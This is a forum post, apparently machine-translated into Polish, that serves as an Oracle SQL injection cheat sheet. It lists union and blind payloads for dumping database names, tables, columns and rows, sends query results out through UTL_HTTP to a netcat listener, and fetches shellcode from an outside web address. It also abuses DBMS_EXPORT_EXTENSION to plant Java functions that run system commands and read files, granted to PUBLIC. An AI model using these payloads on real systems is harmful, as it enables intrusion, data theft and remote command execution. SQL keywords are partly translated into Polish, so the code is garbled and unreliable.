Ten post został ostatnio edytowany przez test 2015-1-24 o 13:01
Komentarz: -- Nie jest obsługiwane wykonywanie wielu zdań, a federowane zapytania są wspierane Nazwy baz danych, tabel i kolumn są pisane wielką literą.
długość(pole) ascii(substr(field, N, 1))
oraz (wybierz count(*) z dualu)>0 -- Określ, czy jest to orakulum, czy nie
Kolejność przez n--
oraz 1=2 union select null, null,.....,null z dualu-- zastąp null przez N lub 'N'
oraz 1=2 union select null, (instrukcja sql) ,.....,null z dual -- change to (sql command) przy 'N'
oraz (wybierz count(*) z all_objects gdzie object_name='UTL_HTTP')>0 -- Sprawdź, czy UTL_HTTP jest obsługiwany (adres eksportu jest znany)
oraz UTL_HTTP.request('http://LocalIP:port'|| (Instrukcja SQL)) =1-- Zdalnie wysyłaj wiadomości do lokalnego, lokalnego słuchania nc -vv -l -p 1234
Instrukcje SQL Wybierz baner z wersji sys.v_$, gdzie Rownum=1, aby zapytać wersję orakulum wybierz członka z pliku v$log, gdzie rownum=1 Zapytaj ścieżkę pliku logu (Windows lub Linux) wybierz utl_inaddr.get_host_address z dual, aby zapytać IP podsłuchującego bazę danych Wybierz instance_name z v$instance, aby zapytać o SID Wybierz nazwę z v$database Zapytaj aktualną nazwę bazy danych Wybierz sys_context ("userenv", 'current_user') z użytkowników bazy danych z podwójnymi zapytaniami Wybierz * z session_roles gdzie Rownum=1, aby zapytać o aktualne uprawnienia użytkownika Wybierz * z session_roles gdzie Rownum=1 [i rola<>'pierwsza nazwa uprawnień']
Wybierz table_name z user_tables gdzie Rownum=1 Pierwszy segment tabeli aktualnej bazy danych Wybierz table_name||','|| tablespace_name z user_tables gdzie rownum=1 Pierwszy segment tabeli, baza danych (dla weryfikacji może to nie być v$database) Wybierz table_name z user_tables gdzie rownum=1 oraz table_name<>'segment pierwszej tabeli' Drugi segment tabeli aktualnej bazy danych
wybierz column_name z user_tab_columns gdzie rownum=1 i table_name='Segment tabeli' Pierwsze pole odpowiadające nazwie tabeli wybierz column_name z user_tab_columns gdzie rowum=1 i table_name='Segment tabeli' oraz column_name<>'Pierwsze pole' Drugie pole odpowiadające nazwie tabeli
Wybierz pole z segmentu tabeli, gdzie Rownum=1 narusza treść pierwszej linii Wybierz pole z segmentu tabeli, gdzie Rownum=1, a pole <> 'treść pierwszej linii' odsłania treść drugiej linijki
Międzybiblioteczne Wybierz właściciela z all_tables gdzie Rownum=1 zapytuje pierwszą nazwę bazy danych Wybierz właściciela z all_tables gdzie rownum=1 oraz właściciel<> 'Pierwsza nazwa bazy danych', aby zapytać o drugą nazwę bazy danych
Wybierz table_name z all_tables gdzie rownum=1 i owner='nazwa bazy' Zapytaj o pierwszą nazwę tabeli odpowiadającej bazy danych Wybierz table_name z all_tables gdzie Rownum=1 i Owner='Database name' oraz table_name<>'first table name', aby zapytać o drugą nazwę tabeli odpowiadającej bazy danych
Wybierz column_name z all_tab_columns gdzie rownum=1 i owner='nazwa bazy danych' oraz table_name='segment tabeli' Pierwsze pole odpowiadające nazwie tabeli Wybierz column_name z all_tab_columns gdzie rownum=1 i owner='nazwa bazy' oraz table_name='segment tabeli' oraz column_name<>'pierwsze pole'. Drugie pole odpowiadające nazwie tabeli
Wybierz pole z bazy danych. segment tabeli, gdzie rownum=1 narusza treść pierwszej linii Wybierz pole z bazy danych. Segment tabeli, gdzie rownum=1 i pole <> 'Treść pierwszej linii', narusza treść drugiego wiersza
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); wieloinstrukcyjne KONIEC; --','SYS',0,'1',0)--
Jeśli 'is escaped, używa się chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Wieloinstrukcyjne || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Jeśli wiele zdań jest za długich, możesz zapisać zdanie do pliku na stronie internetowej i użyć utl_http.request, aby je odzyskać.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Stwórz pakiet JAVA SecTest runCMD służy do wykonywania poleceń systemowych oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIAST" – OGŁASZAJĄ PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWY'''', utwórz lub zastąp i skompiluj źródło Java o nazwie "SecTest" jako import java.io.*; public class SecTest rozszerza Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zwrot siły; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
readFile służy do odczytu pliku oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIAST" – OGŁASZAJĄ PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWY'''', utwórz lub zastąp i skompiluj źródło Java o nazwie "SecTest" jako import java.io.*; klasa publiczna SecTest rozszerza Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zwrot siły; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Przyznaj uprawnienia Java oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWE "'''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''wykonaj''''''''); koniec; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Stwórz funkcję Funkcja SecRunCMD oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''utwórz lub zamień funkcję SecRunCMD(p_cmd in varchar2) zwróć varchar2 jako nazwę języka Java''''''''SecTest.runCMD(java.lang.String) zwróć String'''''''' ; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Funkcja SecReadFile oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 jako language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Udzielenie zgody na wykonanie funkcji publicznej SecRunCMD otrzymuje uprawnienia oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ NATYCHMIASTOWE WYKONANIE "przyznaj wszystko na SecRunCMD publicznie"; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
SecReadFile oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ NATYCHMIASTOWE WYKONANIE "''''udostępnij wszystko na SecReadFile publicznie'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Wykrywa, czy funkcja została pomyślnie utworzona oraz (wybierz count(*) z all_objects gdzie object_name='SECRUNCMD')>0-- oraz (wybierz count(*) z all_objects gdzie object_name='SECREADFILE')>0--
Wykonaj polecenie oraz '1'<> (wybierz sys. SecRunCMD('Wykonaj polecenie') z dual)-- oraz '1'<> (wybierz sys. SecReadFile('fizyczny adres pliku') z dual)-- lub oraz 1=2 union select null,...,sys. SecRunCMD('wykonaj polecenie'),...,null z du-- oraz 1=2 union select null,...,sys. SecReadFile('fizyczny adres pliku'),...,null z dual-- lub oraz '1'<>(wybierz UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Wykonaj polecenie'),' ',' '),'\n',' ')) z dual)-- oraz '1'<>(wybierz UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fizyczny adres pliku'),' ',' ','\n',' ')) z dual)--
Funkcja usuwania oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)-- oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)-- |